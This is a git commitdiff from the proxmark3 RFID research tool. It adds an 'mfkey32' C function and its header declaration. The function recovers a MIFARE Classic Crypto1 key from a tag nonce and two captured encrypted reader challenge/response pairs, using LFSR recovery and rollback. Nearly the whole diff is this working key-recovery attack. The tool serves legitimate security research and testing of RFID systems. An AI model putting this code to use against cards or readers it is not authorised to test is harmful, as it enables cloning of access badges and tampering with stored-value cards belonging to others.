]> cvs.zerfleddert.de Git - proxmark3-svn/commitdiff
hf mf sim x reader attack add-ons
authormarshmellow42 <marshmellowrf@gmail.com>
Wed, 22 Jun 2016 15:26:11 +0000 (11:26 -0400)
committermarshmellow42 <marshmellowrf@gmail.com>
Wed, 22 Jun 2016 15:26:11 +0000 (11:26 -0400)
forgot to include the mfkey32 attack

client/nonce2key/nonce2key.c
client/nonce2key/nonce2key.h

index 70d874fe88600c2a8a60014306e480b3f04a42a2..9abc814be807ce6164da6130f77fd8d75e464efd 100644 (file)
@@ -149,3 +149,45 @@ int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_
        
        return 1;
 }
+
+// 32 bit recover key from 2 nonces
+uint64_t mfkey32(uint32_t uid, uint32_t nt, uint32_t nr0_enc, uint32_t ar0_enc, uint32_t nr1_enc, uint32_t ar1_enc) {
+       struct Crypto1State *s,*t;
+       uint64_t key=0;     // recovered key
+       /*uint32_t uid;     // serial number
+       uint32_t nt;      // tag challenge
+       uint32_t nr0_enc; // first encrypted reader challenge
+       uint32_t ar0_enc; // first encrypted reader response
+       uint32_t nr1_enc; // second encrypted reader challenge
+       uint32_t ar1_enc; // second encrypted reader response
+ */
+       uint8_t found=0;
+       //uint32_t ks2;     // keystream used to encrypt reader response
+
+       // Generate lfsr succesors of the tag challenge
+       prng_successor(nt, 64);
+       prng_successor(nt, 96);
+
+       // Extract the keystream from the messages
+       //ks2 = ar0_enc ^ prng_successor(nt, 64);
+
+       s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
+
+       for(t = s; t->odd | t->even; ++t) {
+               lfsr_rollback_word(t, 0, 0);
+               lfsr_rollback_word(t, nr0_enc, 1);
+               lfsr_rollback_word(t, uid ^ nt, 0);
+               crypto1_get_lfsr(t, &key);
+               crypto1_word(t, uid ^ nt, 0);
+               crypto1_word(t, nr1_enc, 1);
+               if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
+                       //printf("\nFound Key: [%012"llx"]\n\n",key);
+                       found = 1;
+                       break;
+               }
+       }
+       free(s);
+
+       if (found) return key;
+       return 0;
+}
index e7d5f431194f92a4777bc2726c66aad8038ff0b4..b00a85dcc720cc53085fdd66cbe91a7fcfac772e 100644 (file)
@@ -19,5 +19,6 @@
 #include "common.h"
 
 int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key); 
+uint64_t mfkey32(uint32_t uid, uint32_t nt, uint32_t nr0_enc, uint32_t ar0_enc, uint32_t nr1_enc, uint32_t ar1_enc);
 
 #endif
Impressum, Datenschutz